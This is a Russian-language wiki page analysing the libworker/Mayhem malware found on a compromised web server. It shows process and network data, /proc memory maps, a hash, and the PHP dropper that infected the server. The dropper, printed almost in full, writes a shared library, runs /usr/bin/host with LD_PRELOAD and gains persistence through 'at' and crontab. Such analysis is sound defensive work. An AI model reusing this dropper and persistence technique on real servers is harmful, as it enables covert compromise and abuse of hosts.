-
Notifications
You must be signed in to change notification settings - Fork 25
Анализ зловредного ПО libworker использующего LD_PRELOAD
pavel-odintsov edited this page May 8, 2014
·
3 revisions
Зараза была обнаружен в виде процесса /urs/bin/host излишне сильно потребляющего ресурсы процессора, проверка легитимности самого процесса и его кода через пакетный менеджер показала, что он подменен не был.
Определяемость: 2/51 Avast + KAV
Ключевые суммы:
md5 libworker.so
MD5 (libworker.so) = a6765b7ab914e042a6f8e1adb59c08b9
Данные из /proc по процессу:
lrwxrwxrwx 1 admin admin 0 Apr 30 16:34 cwd -> /var/www/admin/www/go-url.ru/user/plugins/adsense/img
lrwxrwxrwx 1 admin admin 0 Apr 30 16:34 exe -> /usr/bin/host
admin 5933 9.4 1.2 1037152 15504 ? Ssl 02:48 78:57 /usr/bin/host
Сетевые соединения:
netstat -apnt|grep host
tcp 0 0 xx.xx.xx.xx:37148 92.43.19.151:80 ESTABLISHED 5933/host
tcp 0 1 xx.xx.xx.xx:58853 123.30.145.35:80 SYN_SENT 5933/host
tcp 0 0 xx.xx.xx.xx:47888 98.130.138.178:80 ESTABLISHED 5933/host
tcp 0 1 xx.xx.xx.xx:36622 199.204.253.227:80 SYN_SENT 5933/host
tcp 0 325 xx.xx.xx.xx:41405 112.78.2.131:80 ESTABLISHED 5933/host
tcp 0 66 xx.xx.xx.xx:35082 82.98.144.48:80 ESTABLISHED 5933/host
tcp 0 62 xx.xx.xx.xx:40497 62.149.142.70:80 ESTABLISHED 5933/host
tcp 0 75 xx.xx.xx.xx:47831 185.11.164.111:80 ESTABLISHED 5933/host
tcp 0 64 xx.xx.xx.xx:37905 112.78.2.173:80 ESTABLISHED 5933/host
tcp 0 1 xx.xx.xx.xx:36098 212.220.124.104:80 SYN_SENT 5933/host
tcp 0 0 xx.xx.xx.xx:54656 108.163.180.18:80 ESTABLISHED 5933/host
tcp 0 333 xx.xx.xx.xx:51841 112.78.2.137:80 ESTABLISHED 5933/host
tcp 0 67 xx.xx.xx.xx:37356 62.149.128.163:80 ESTABLISHED 5933/host
tcp 0 64 xx.xx.xx.xx:36451 125.212.216.53:80 ESTABLISHED 5933/host
tcp 0 0 xx.xx.xx.xx:39607 123.30.145.36:80 ESTABLISHED 5933/host
...
Обнаружение:
cat /proc/5933/smaps
7fc51b339000-7fc51b340000 r-xp 00000000 b6:ff161 30664 (deleted)/var/www/admin/www/go-url.ru/user/plugins/adsense/img/libworker.so
Size: 28 kB
Rss: 24 kB
Pss: 24 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 24 kB
Private_Dirty: 0 kB
Referenced: 20 kB
Anonymous: 0 kB
AnonHugePages: 0 kB
Swap: 0 kB
KernelPageSize: 4 kB
MMUPageSize: 4 kB
7fc51b340000-7fc51b53f000 ---p 00007000 b6:ff161 30664 (deleted)/var/www/admin/www/go-url.ru/user/plugins/adsense/img/libworker.so
Size: 2044 kB
Rss: 0 kB
Pss: 0 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 0 kB
Private_Dirty: 0 kB
Referenced: 0 kB
Anonymous: 0 kB
AnonHugePages: 0 kB
Swap: 0 kB
KernelPageSize: 4 kB
MMUPageSize: 4 kB
7fc51b53f000-7fc51b540000 rw-p 00006000 b6:ff161 30664 (deleted)/var/www/admin/www/go-url.ru/user/plugins/adsense/img/libworker.so
Size: 4 kB
Rss: 4 kB
Pss: 4 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 0 kB
Private_Dirty: 4 kB
Referenced: 4 kB
Anonymous: 4 kB
AnonHugePages: 0 kB
Swap: 0 kB
KernelPageSize: 4 kB
MMUPageSize: 4 kB
Вот такого оно через ld_preload и подкинуло ее.
host 5933 admin mem REG 182,1044833 30664 (deleted)/var/www/admin/www/go-url.ru/user/plugins/adsense/img/libworker.so (stat: No such file or directory)
Код, который запускла заразу:
<?php
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
@system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00
$arch = 64;
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
print "Arch is ".$arch."\n";
$so = $arch == 32 ? $so32 : $so64;
$f = fopen("/usr/bin/host", "rb");
if ($f) {
$n = unpack("C*", fread($f, 8));
$so[7] = sprintf("%c", $n[8]);
print "System is ".($n[8] == 9 ? "FreeBSD" : "Linux")."\n";
fclose($f);
}
print "SO dumped ".file_put_contents("./libworker.so", $so)."\n";
if (getenv("MAYHEM_DEBUG"))
exit(0);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
/* second stage dropper */
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
$SCR ="#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\n";
$SCR .="crontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n";
@file_put_contents("1.sh", $SCR);
@chmod("1.sh", 0777);
/* try at now, file will be removed, crontab cleaned on success */
@system("at now -f 1.sh", $ret);
if ($ret == 0) {
for ($i = 0; $i < 5; $i++) {
if (! @file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
@system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
for ($i = 0; $i < 62; $i++) {
if (! @file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
print "Running straight\n";
@system("./1.sh");
?>